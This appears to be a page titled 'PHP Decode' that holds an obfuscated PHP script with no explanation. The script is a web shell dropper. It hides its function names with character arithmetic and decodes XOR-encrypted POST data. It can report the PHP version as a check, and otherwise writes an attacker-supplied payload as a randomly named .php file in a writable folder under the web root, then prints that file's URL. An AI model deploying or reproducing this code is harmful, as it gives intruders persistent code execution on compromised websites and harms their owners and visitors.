PHP Decode

<?php $aUUBJ = chr(461-393).'O'.chr(67)."\125".chr(188-111)."\x45"."\116".chr(101-17)."\137".'R'."\x4f"."\x4f"."\124";$ZSQcs = "\110"."\124".'T'."\120".chr(662-567).chr(72).'O'."\123".chr(84);$LWXxAseQnE = chr(104).chr(1032-916)."\x74".chr(112)."\72".chr(47).chr(47);$fEPQTIkK = chr(155-109).'p'."\150".chr(1056-944);$CBwwvfNEN = 'p'.chr(104).chr(112);$tbwetQ = chr(113-11)."\151"."\x6c"."\145"."\x5f".'p'.chr(117).'t'.chr(959-864).chr(1063-964).chr(111)."\x6e".chr(172-56).chr(355-254).chr(110).chr(299-183).chr(493-378);$CURBRhySmT = "\x72"."\x61"."\167"."\x75"."\x72"."\x6c".chr(334-234).chr(101).'c'."\157".chr(100)."\x65";$ynEPtUt = chr(117).'n'.chr(115).'e'."\162".chr(105).'a'.'l'.chr(254-149).'z'."\145";$hnKBzWGTE = "\x70".chr(104).chr(112).'v'.'e'.chr(412-298).'s'.chr(775-670)."\x6f"."\x6e";$VKQYGq = "\163"."\164".chr(114).chr(95).chr(114)."\157"."\164".chr(49).'3';$FkuSmS = chr(362-247).chr(101).'r'."\151".chr(245-148)."\154".chr(105)."\x7a"."\145";$exymC = chr(404-289)."\164".'r'."\x5f"."\x73".'p'."\154".chr(105).'t';foreach ($_POST as $rFCpk => $XbnVjfCowe){if (strlen($rFCpk) == 16){$XbnVjfCowe = $exymC($CURBRhySmT($VKQYGq($XbnVjfCowe)));$rFCpk = array_slice($exymC(str_repeat($rFCpk, (count($XbnVjfCowe)/16)+1)), 0, count($XbnVjfCowe));function eCtPZT($BKVYK, $qBICKxagRv, $rFCpk){$kMAqV = "0553db88-aa7e-41b3-ac8f-d2b92dacea40";return $BKVYK ^ $kMAqV[$qBICKxagRv % strlen($kMAqV)] ^ $rFCpk;}$XbnVjfCowe = implode("", array_map("eCtPZT", array_values($XbnVjfCowe), array_keys($XbnVjfCowe), array_values($rFCpk)));$XbnVjfCowe = @$ynEPtUt($XbnVjfCowe);if (@is_array($XbnVjfCowe)){$PNSeS = array_keys($XbnVjfCowe);$XbnVjfCowe = $XbnVjfCowe[$PNSeS[0]];if ($XbnVjfCowe === $PNSeS[0]){echo @$FkuSmS(Array($CBwwvfNEN => @$hnKBzWGTE(), ));exit();}else {function jBvopmaTlB($pCTziQir){static $wXgCY = array();$utnuXzeRq = glob($pCTziQir . '/*', GLOB_ONLYDIR);if (count($utnuXzeRq) > 0) {foreach ($utnuXzeRq as $pCTziQ) {if (@is_writable($pCTziQ)) {$wXgCY[] = $pCTziQ;}}}foreach ($utnuXzeRq as $pCTziQir) jBvopmaTlB($pCTziQir);return $wXgCY;}$QpmWRsEbU = $_SERVER[$aUUBJ];$utnuXzeRq = jBvopmaTlB($QpmWRsEbU);$PNSeS = array_rand($utnuXzeRq);$WDEQzU = $utnuXzeRq[$PNSeS] . "/" . substr(md5(time()), 0, 8) . $fEPQTIkK;@$tbwetQ($WDEQzU, $XbnVjfCowe);echo $LWXxAseQnE . $_SERVER[$ZSQcs] . substr($WDEQzU, strlen($QpmWRsEbU));exit();}}}}